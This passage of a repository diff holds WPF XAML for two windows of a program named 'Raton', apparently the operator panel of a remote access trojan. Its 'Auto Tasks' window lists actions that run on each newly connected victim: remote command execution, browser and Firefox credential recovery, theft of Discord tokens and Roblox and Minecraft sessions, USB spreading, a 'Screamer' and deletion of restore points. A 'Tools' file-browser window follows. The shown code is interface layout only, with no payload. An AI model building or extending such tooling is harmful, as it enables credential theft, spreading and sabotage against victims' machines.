<DropShadowEffect Color="Black" BlurRadius="14" ShadowDepth="3" Opacity="0.5" Direction="270"/>
</UIElement.Effect>
<ScrollViewer CanContentScroll="true" Background="Transparent" VerticalScrollBarVisibility="Auto">
<ItemsPresenter/>
</ScrollViewer>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type MenuItem}">
<Setter Property="FrameworkElement.OverridesDefaultStyle" Value="true"/>
<Setter Property="UIElement.SnapsToDevicePixels" Value="true"/>
<Setter Property="Control.Foreground" Value="#DDDDDD"/>
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.FontSize" Value="12.5"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type MenuItem}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" CornerRadius="3" Margin="4,1"
Padding="8,6">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="20"/>
<ColumnDefinition/>
</Grid.ColumnDefinitions>
<ContentPresenter Content="{TemplateBinding MenuItem.Icon}" HorizontalAlignment="Center" VerticalAlignment="Center"/>
<ContentPresenter Grid.Column="1" ContentSource="Header" VerticalAlignment="Center" Margin="6,0,0,0"/>
</Grid>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="MenuItem.IsHighlighted" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#333333"/>
</Trigger>
<Trigger Property="MenuItem.IsPressed" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#3E3E3E"/>
</Trigger>
<Trigger Property="UIElement.IsEnabled" Value="false">
<Setter Property="Control.Foreground" Value="#555555"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type Separator}">
<Setter Property="FrameworkElement.OverridesDefaultStyle" Value="true"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Separator}">
<Border Height="1" Background="#383838" Margin="8,4"/>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="DarkComboBox" TargetType="{x:Type ComboBox}">
<Setter Property="Control.Background" Value="#141414"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.BorderBrush" Value="#3A3A3A"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.FontSize" Value="12.5"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ComboBox}">
<Grid>
<Border x:Name="Border" Background="#141414" BorderBrush="#3A3A3A" BorderThickness="1" CornerRadius="4"/>
<DockPanel Margin="10,0,30,0">
<ContentPresenter x:Name="ContentSite" IsHitTestVisible="false" Content="{TemplateBinding ComboBox.SelectionBoxItem}"
ContentTemplate="{TemplateBinding ComboBox.SelectionBoxItemTemplate}" VerticalAlignment="Center"
HorizontalAlignment="Left"/>
</DockPanel>
<Path Data="M 0,0 L 5,5 10,0 Z" Fill="#888" HorizontalAlignment="Right" VerticalAlignment="Center"
Margin="0,0,10,0" IsHitTestVisible="false"/>
<ToggleButton x:Name="ToggleButton" Opacity="0"
IsChecked="{Binding IsDropDownOpen, Mode=TwoWay, RelativeSource={RelativeSource TemplatedParent}}"/>
<Popup x:Name="Popup" Placement="Bottom" IsOpen="{TemplateBinding ComboBox.IsDropDownOpen}"
AllowsTransparency="true" Focusable="false">
<Border Background="#242424" BorderBrush="#3A3A3A" BorderThickness="1" CornerRadius="4" Padding="0,4"
MinWidth="{TemplateBinding FrameworkElement.ActualWidth}">
<UIElement.Effect>
<DropShadowEffect Color="Black" BlurRadius="12" ShadowDepth="3" Opacity="0.5"/>
</UIElement.Effect>
<ScrollViewer MaxHeight="220">
<ItemsPresenter/>
</ScrollViewer>
</Border>
</Popup>
</Grid>
<ControlTemplate.Triggers>
<Trigger Property="ComboBox.IsDropDownOpen" Value="true">
<Setter TargetName="Border" Property="Border.BorderBrush" Value="#5C5C8A"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
<Setter Property="ItemsControl.ItemContainerStyle">
<Setter.Value>
<Style TargetType="{x:Type ComboBoxItem}">
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Padding" Value="10,7"/>
<Setter Property="Control.FontSize" Value="12.5"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ComboBoxItem}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}"
Padding="{TemplateBinding Control.Padding}" Margin="3,1" CornerRadius="3">
<ContentPresenter HorizontalAlignment="Left"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="ComboBoxItem.IsHighlighted" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#333333"/>
</Trigger>
<Trigger Property="ListBoxItem.IsSelected" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#3A3A5A"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="DarkTextBox" TargetType="{x:Type TextBox}">
<Setter Property="Control.Background" Value="#141414"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="TextBoxBase.CaretBrush" Value="White"/>
<Setter Property="Control.BorderBrush" Value="#3A3A3A"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.Padding" Value="8,0"/>
<Setter Property="Control.FontSize" Value="12.5"/>
<Setter Property="Control.FontFamily" Value="Consolas"/>
<Setter Property="TextBoxBase.SelectionBrush" Value="#5C5C8A"/>
<Setter Property="Control.VerticalContentAlignment" Value="Center"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type TextBox}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="4">
<ScrollViewer x:Name="PART_ContentHost" Margin="{TemplateBinding Control.Padding}"
VerticalAlignment="{TemplateBinding Control.VerticalContentAlignment}"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsFocused" Value="true">
<Setter TargetName="Bd" Property="Border.BorderBrush" Value="#5C5C8A"/>
</Trigger>
<Trigger Property="UIElement.IsEnabled" Value="false">
<Setter TargetName="Bd" Property="Border.Background" Value="#0D0D0D"/>
<Setter Property="Control.Foreground" Value="#444444"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</FrameworkElement.Resources>
<Grid>
<Grid.RowDefinitions>
<RowDefinition Height="44"/>
<RowDefinition Height="52"/>
<RowDefinition/>
<RowDefinition Height="52"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="#202020" BorderBrush="#2A2A2A" BorderThickness="0,0,0,1">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center" Margin="16,0,0,0">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="14" Foreground="#555" VerticalAlignment="Center"
Margin="0,0,10,0"/>
<TextBlock Text="Auto Tasks" Foreground="#777" FontSize="12" FontWeight="SemiBold" VerticalAlignment="Center"/>
<TextBlock x:Name="TbTaskCount" Text=" — 0 tasks" Foreground="#444" FontSize="11" VerticalAlignment="Center"/>
</StackPanel>
</Border>
<Border Grid.Row="1" Background="#202020" BorderBrush="#2A2A2A" BorderThickness="0,0,0,1" Padding="16,0">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="280"/>
<ColumnDefinition Width="12"/>
<ColumnDefinition/>
<ColumnDefinition Width="12"/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<ComboBox SelectionChanged="TaskCombo_SelectionChanged" x:Name="TaskCombo" Grid.Column="0"
Style="{StaticResource DarkComboBox}" Height="32">
<ComboBoxItem Content="Execute a command prompt code"/>
<ComboBoxItem Content="Browser recovery"/>
<ComboBoxItem Content="Firefox recovery"/>
<ComboBoxItem Content="Roblox sessions"/>
<ComboBoxItem Content="Discord tokens"/>
<ComboBoxItem Content="Minecraft sessions"/>
<ComboBoxItem Content="Save screen"/>
<ComboBoxItem Content="Screamer"/>
<ComboBoxItem Content="USB spread"/>
<ComboBoxItem Content="Prevent sleep"/>
<ComboBoxItem Content="Delete restore points"/>
</ComboBox>
<TextBox x:Name="TaskArg" Grid.Column="2" Style="{StaticResource DarkTextBox}" Height="32"
Text="Select a task type first..." IsEnabled="false"/>
<Border MouseLeftButtonUp="AddTask_Click" Grid.Column="4" Style="{StaticResource NavContainer}"
Padding="14,0" Height="32">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="12" Foreground="#888" VerticalAlignment="Center"
Margin="0,0,6,0"/>
<TextBlock Text="Add task" Foreground="#888" FontSize="12" VerticalAlignment="Center"/>
</StackPanel>
</Border>
</Grid>
</Border>
<Grid Row="2">
<DataGrid x:Name="TaskGrid" Background="Transparent" BorderThickness="0" AutoGenerateColumns="false"
GridLinesVisibility="None" HeadersVisibility="Column" RowHeight="36" ColumnHeaderHeight="34"
SelectionMode="Single" IsSynchronizedWithCurrentItem="False" CanUserAddRows="false"
CanUserDeleteRows="false" CanUserReorderColumns="false" CanUserResizeRows="false" IsReadOnly="true">
<FrameworkElement.ContextMenu>
<ContextMenu>
<MenuItem Click="DeleteTask_Click" Header="Delete task">
<MenuItem.Icon>
<TextBlock Text="" Style="{StaticResource MenuIcon}" Foreground="#EF5350"/>
</MenuItem.Icon>
</MenuItem>
<Separator/>
<MenuItem Click="ClearAll_Click" Header="Clear all tasks">
<MenuItem.Icon>
<TextBlock Text="" Style="{StaticResource MenuIcon}"/>
</MenuItem.Icon>
</MenuItem>
</ContextMenu>
</FrameworkElement.ContextMenu>
<DataGrid.Columns>
<DataGridTemplateColumn Header="" Width="44" CanUserResize="false">
<DataGridTemplateColumn.CellTemplate>
<DataTemplate>
<TextBlock FontFamily="Segoe MDL2 Assets" FontSize="14" HorizontalAlignment="Center"
VerticalAlignment="Center" TextAlignment="Center" Text="{Binding Icon}"
Foreground="{Binding IconColor}"/>
</DataTemplate>
</DataGridTemplateColumn.CellTemplate>
</DataGridTemplateColumn>
<DataGridTextColumn Header="Task" Width="2*" Binding="{Binding Name}">
<DataGridBoundColumn.ElementStyle>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="FrameworkElement.HorizontalAlignment" Value="Left"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
<Setter Property="TextBlock.TextAlignment" Value="Left"/>
<Setter Property="TextBlock.Foreground" Value="White"/>
<Setter Property="FrameworkElement.Margin" Value="4,0"/>
</Style>
</DataGridBoundColumn.ElementStyle>
</DataGridTextColumn>
<DataGridTextColumn Header=" " Width="3*" Binding="{Binding Value}">
<DataGridBoundColumn.ElementStyle>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="FrameworkElement.HorizontalAlignment" Value="Left"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
<Setter Property="TextBlock.TextAlignment" Value="Left"/>
<Setter Property="TextBlock.Foreground" Value="#777777"/>
<Setter Property="TextBlock.FontFamily" Value="Consolas"/>
<Setter Property="TextBlock.FontSize" Value="11.5"/>
<Setter Property="FrameworkElement.Margin" Value="4,0"/>
<Setter Property="TextBlock.TextTrimming" Value="CharacterEllipsis"/>
</Style>
</DataGridBoundColumn.ElementStyle>
</DataGridTextColumn>
</DataGrid.Columns>
</DataGrid>
<Grid x:Name="EmptyState" VerticalAlignment="Center" HorizontalAlignment="Center" Visibility="Visible">
<StackPanel HorizontalAlignment="Center">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="44" Foreground="#333"
HorizontalAlignment="Center" TextAlignment="Center"/>
<TextBlock Text="No auto-tasks configured" Foreground="#444" FontSize="13" Margin="0,10,0,4"
HorizontalAlignment="Center" TextAlignment="Center"/>
<TextBlock Text="Tasks are executed automatically when a new client connects" Foreground="#333"
FontSize="11.5" HorizontalAlignment="Center" TextAlignment="Center"/>
</StackPanel>
</Grid>
</Grid>
<Border Grid.Row="3" Background="#202020" BorderBrush="#2A2A2A" BorderThickness="0,1,0,0" Padding="16,0">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<TextBlock Text="Tasks run in order on every new client connection" Foreground="#444" FontSize="11"
VerticalAlignment="Center" HorizontalAlignment="Left" TextAlignment="Left"/>
<StackPanel Grid.Column="1" Orientation="Horizontal" VerticalAlignment="Center">
<Border MouseLeftButtonUp="ClearAll_Click" Style="{StaticResource NavContainer}" Padding="14,0" Height="32"
Margin="0,0,6,0">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="12" Foreground="#EF5350"
VerticalAlignment="Center" Margin="0,0,6,0"/>
<TextBlock Text="Clear all" Foreground="#EF5350" FontSize="12" VerticalAlignment="Center"/>
</StackPanel>
</Border>
</StackPanel>
</Grid>
</Border>
</Grid>
</Window>
+249
View File
@@ -0,0 +1,249 @@
<Window x:Class="Raton.Windows.Tools"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:local="clr-namespace:Raton.Windows"
Loaded="Window_Loaded" Title="Tools" Width="640" Height="520" MinWidth="420" MinHeight="340"
Background="#FF202020" WindowStartupLocation="CenterOwner" ResizeMode="CanResize"
Icon="/Raton;component/RATA.ico">
<FrameworkElement.Resources>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightBrushKey}" Color="#3A2D5A"/>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightBrushKey}" Color="#2E2240"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.ControlBrushKey}" Color="#1E1E1E"/>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#CCCCCC"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
</Style>
<Style TargetType="{x:Type DataGridColumnHeader}">
<Setter Property="Control.Background" Value="#2A2A2A"/>
<Setter Property="Control.Foreground" Value="#888888"/>
<Setter Property="Control.FontSize" Value="11"/>
<Setter Property="Control.FontWeight" Value="SemiBold"/>
<Setter Property="FrameworkElement.Height" Value="28"/>
<Setter Property="Control.Padding" Value="10,0"/>
<Setter Property="Control.BorderBrush" Value="#333333"/>
<Setter Property="Control.BorderThickness" Value="0,0,1,1"/>
<Setter Property="FrameworkElement.Cursor" Value="Arrow"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type DataGridColumnHeader}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}"
Padding="{TemplateBinding Control.Padding}">
<ContentPresenter VerticalAlignment="Center"/>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type DataGridRow}">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.Height" Value="38"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type DataGridRow}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" BorderBrush="#2A2A2A"
BorderThickness="0,0,0,1">
<SelectiveScrollingGrid>
<DataGridCellsPresenter/>
</SelectiveScrollingGrid>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#2A2A2A"/>
</Trigger>
<Trigger Property="DataGridRow.IsSelected" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#3A2D5A"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type DataGridCell}">
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.FocusVisualStyle" Value="{x:Null}"/>
<Setter Property="Control.Padding" Value="4,0"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type DataGridCell}">
<Border Background="Transparent" Padding="{TemplateBinding Control.Padding}">
<ContentPresenter VerticalAlignment="Center"/>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="ToolsGrid" TargetType="{x:Type DataGrid}">
<Setter Property="Control.Background" Value="#252525"/>
<Setter Property="Control.BorderBrush" Value="#333333"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="DataGrid.GridLinesVisibility" Value="None"/>
<Setter Property="DataGrid.RowHeaderWidth" Value="0"/>
<Setter Property="DataGrid.CanUserAddRows" Value="false"/>
<Setter Property="DataGrid.CanUserDeleteRows" Value="false"/>
<Setter Property="DataGrid.CanUserResizeRows" Value="false"/>
<Setter Property="DataGrid.AutoGenerateColumns" Value="false"/>
<Setter Property="DataGrid.SelectionMode" Value="Single"/>
<Setter Property="DataGrid.IsReadOnly" Value="true"/>
<Setter Property="ScrollViewer.CanContentScroll" Value="true"/>
<Setter Property="ScrollViewer.HorizontalScrollBarVisibility" Value="Disabled"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type DataGrid}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="6" ClipToBounds="true">
<DockPanel>
<DataGridColumnHeadersPresenter DockPanel.Dock="Top"/>
<ScrollViewer Focusable="false" HorizontalScrollBarVisibility="Disabled" VerticalScrollBarVisibility="Auto">
<ItemsPresenter/>
</ScrollViewer>
</DockPanel>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="SearchBox" TargetType="{x:Type TextBox}">
<Setter Property="Control.Background" Value="#252525"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="TextBoxBase.CaretBrush" Value="#CCCCCC"/>
<Setter Property="Control.BorderBrush" Value="#3A3A3A"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.Padding" Value="36,0,12,0"/>
<Setter Property="FrameworkElement.Height" Value="36"/>
<Setter Property="Control.FontSize" Value="13"/>
<Setter Property="Control.VerticalContentAlignment" Value="Center"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type TextBox}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="6">
<ScrollViewer x:Name="PART_ContentHost" Margin="{TemplateBinding Control.Padding}" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsFocused" Value="true">
<Setter Property="Control.BorderBrush" Value="#7B5EA7"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</FrameworkElement.Resources>
<FrameworkElement.Triggers>
<EventTrigger RoutedEvent="Window.Loaded">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetName="Root" Storyboard.TargetProperty="Opacity" From="0" To="1"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetName="Root"
Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.Y)" From="6" To="0"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</FrameworkElement.Triggers>
<Grid x:Name="Root" Margin="14">
<UIElement.RenderTransform>
<TranslateTransform Y="0"/>
</UIElement.RenderTransform>
<Grid.RowDefinitions>
<RowDefinition Height="36"/>
<RowDefinition Height="Auto"/>
<RowDefinition/>
<RowDefinition Height="28"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="#252525" CornerRadius="6" Padding="12,0" Margin="0,0,0,10">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="#7B5EA7" Margin="0,0,8,0"/>
<TextBlock x:Name="TbFolderPath" Text="Tools" Foreground="#888" FontSize="12"/>
</StackPanel>
</Border>
<Grid Row="1" Margin="0,0,0,10">
<TextBox TextChanged="TbSearch_TextChanged" x:Name="TbSearch" Style="{StaticResource SearchBox}"/>
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="#555" IsHitTestVisible="false"
Margin="12,0,0,0" HorizontalAlignment="Left" VerticalAlignment="Center"/>
<TextBlock x:Name="TbSearchPlaceholder" Text="Search tools..." Foreground="#555" FontSize="13"
IsHitTestVisible="false" Margin="36,0,0,0" VerticalAlignment="Center"/>
</Grid>
<DataGrid MouseDoubleClick="FilesGrid_MouseDoubleClick" x:Name="FilesGrid" Grid.Row="2"
Style="{StaticResource ToolsGrid}" Margin="0,0,0,10">
<DataGrid.Columns>
<DataGridTemplateColumn Header="NAME" Width="*" MinWidth="160">
<DataGridTemplateColumn.CellTemplate>
<DataTemplate>
<StackPanel Orientation="Horizontal" Margin="6,0">
<Border Width="24" Height="24" CornerRadius="4" Margin="0,0,10,0">
<Border.Background>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,1">
<GradientStop Color="#4A3A6A" Offset="0"/>
<GradientStop Color="#6B4E9A" Offset="1"/>
</LinearGradientBrush>
</Border.Background>
<TextBlock FontFamily="Segoe MDL2 Assets" FontSize="12" Foreground="#CCCCCC" HorizontalAlignment="Center"
VerticalAlignment="Center" Text="{Binding IconGlyph}"/>
</Border>
<TextBlock Foreground="#CCCCCC" FontSize="13" VerticalAlignment="Center" Text="{Binding FileName}"/>
</StackPanel>
</DataTemplate>
</DataGridTemplateColumn.CellTemplate>
</DataGridTemplateColumn>
<DataGridTemplateColumn Header="TYPE" Width="72">
<DataGridTemplateColumn.CellTemplate>
<DataTemplate>
<Border Background="#2A1F3D" CornerRadius="4" Padding="6,2" HorizontalAlignment="Left" Margin="4,0">
<TextBlock Foreground="#9370C0" FontSize="11" FontWeight="SemiBold" Text="{Binding Extension}"/>
</Border>
</DataTemplate>
</DataGridTemplateColumn.CellTemplate>
</DataGridTemplateColumn>
<DataGridTextColumn Header="SIZE" Width="80" Binding="{Binding Size}">
<DataGridBoundColumn.ElementStyle>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#666"/>
<Setter Property="TextBlock.FontSize" Value="12"/>
<Setter Property="FrameworkElement.Margin" Value="8,0"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
</Style>
</DataGridBoundColumn.ElementStyle>
</DataGridTextColumn>
<DataGridTextColumn Header="MODIFIED" Width="130" Binding="{Binding LastModified}">
<DataGridBoundColumn.ElementStyle>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#666"/>
<Setter Property="TextBlock.FontSize" Value="12"/>
<Setter Property="FrameworkElement.Margin" Value="8,0"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
</Style>
</DataGridBoundColumn.ElementStyle>
</DataGridTextColumn>
</DataGrid.Columns>
</DataGrid>
<Border Grid.Row="3" Background="#252525" CornerRadius="6" Padding="12,0">
<Grid>
<TextBlock x:Name="TbStatus" Text="0 files" Foreground="#555" FontSize="11" HorizontalAlignment="Left"
VerticalAlignment="Center"/>
<TextBlock Text="Double-click to open" Foreground="#444" FontSize="11" HorizontalAlignment="Right"
VerticalAlignment="Center"/>
</Grid>
</Border>
</Grid>
</Window>
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 MiB